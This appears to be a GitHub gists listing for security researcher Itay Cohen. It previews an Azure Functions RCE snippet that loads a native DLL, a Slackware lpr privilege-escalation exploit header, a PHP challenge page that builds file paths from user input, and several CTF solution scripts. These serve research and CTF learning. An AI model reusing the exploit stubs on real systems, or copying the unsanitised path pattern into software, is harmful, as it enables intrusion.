Skip to content

Instantly share code, notes, and snippets.

View ITAYC0HEN's full-sized avatar

Itay Cohen ITAYC0HEN

View GitHub Profile
@ITAYC0HEN
ITAYC0HEN / azure_function_rce.cs
Created January 23, 2020 09:14
Azure Exploitation Publication - Part2, Snippet 1
using System.Net;
using System.Runtime.InteropServices;
[DllImport("YOUR_DLL_NAME")]
public static extern void load();
public static async Task<HttpResponseMessage> Run(HttpRequestMessage req, TraceWriter log)
{
load();
log.Info("C# HTTP trigger function processed a request.");
return req.CreateResponse(HttpStatusCode.OK, "Malicious Function");
}
@ITAYC0HEN
ITAYC0HEN / azure_rce.c
Last active January 23, 2020 09:13
Azure Exploitation Publication - Part2, Snippet 2
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma warning(disable: 4996)# define MAX_PATH_LEN 2048# define MAX_BUFF_LEN 2048# define IPM_BUFFER_LEN(0x800)
typedef struct _pipedata {
unsigned int opcode;
unsigned int length;
char data[IPM_BUFFER_LEN];
@ITAYC0HEN
ITAYC0HEN / keybase.md
Last active February 14, 2020 15:20
Keybase proof

Keybase proof

I hereby claim:

  • I am itayc0hen on github.
  • I am itayco (https://keybase.io/itayco) on keybase.
  • I have a public key ASBnlwO1IQCawArAMZOPwqjVm9oYJWYpEqEVOAofvkjl1wo

To claim this, I am signing this object:

@ITAYC0HEN
ITAYC0HEN / New_Avenger_solution.py
Created March 5, 2017 08:25
[Pragyan CTF] New Avenger writeup
# Full Writeup: https://www.megabeets.net/pragyan-ctf-new-avenger
from zipfile import ZipFile
import string
passwords =[]
i = 1
while True:
f=reversed(open("%s_image.jpg"%i).readlines())
@ITAYC0HEN
ITAYC0HEN / prdelka-vs-GNU-lpr.c
Created December 29, 2016 19:00
Slackware 1.01 local priv-esc exploit
/*
Slackware Linux 1.01 "lpr" stack overflow privilege escalation
Usage:
slack:/tmp$ gcc prdelka-vs-GNU-lpr.c -o prdelka-vs-GNU-lpr
slack:/tmp$ ./prdelka-vs-GNU-lpr
Written by: prdelka
*/
#include <stdio.h>
@ITAYC0HEN
ITAYC0HEN / coinslot.py
Created September 18, 2016 20:17
[CSAW 2016] Coinslot
from pwn import *
r = remote('misc.chal.csaw.io',8000)
# Create an array of dollars and coins values
money = [10000.0, 5000.0, 1000.0, 500.0, 100.0, 50.0, 20.0, 10.0, 5.0, 1.0, 0.5, 0.25, 0.1, 0.05, 0.01]
count = 0
while(True):
count += 1
@ITAYC0HEN
ITAYC0HEN / index.php
Last active September 18, 2016 22:19
[CSAW 2016] mfw
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
@ITAYC0HEN
ITAYC0HEN / SecuPrim.py
Last active September 12, 2016 06:56
[ASIS-CTF] SecuPrim
from pwn import *
from hashlib import *
import string
import itertools
from Crypto.Util.number import *
from sympy import perfect_power
import time
# Cout primes and perfect powers in a range
def countNumbers(lower,upper):
@ITAYC0HEN
ITAYC0HEN / twin-primes.py
Last active February 3, 2017 11:01
[TWCTF-2016: Crypto] Twin Primes
from sympy import *
from Crypto.Util.number import *
import Crypto.PublicKey.RSA as RSA
import os
# n from key1
n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
# n from key2
n2 = 1940264376802796729448069536103722764963751456128046135270842019219732899351271085208787198634918438344203154494526396647744668558716802515477506017878289709799394980084590321889097527572541669925846292009798642493608854111279095887521133618824910728075366146761951107
@ITAYC0HEN
ITAYC0HEN / palindrome.py
Last active September 5, 2016 15:42
[TWCTF-2016: PPC] Make a Palindrome!
# -*- coding:utf-8 -*-
# Server connection example file for Python 2
import socket
import sys
import random
import itertools
# My added data
def makepal(l):
for b in itertools.permutations(l, len(l)):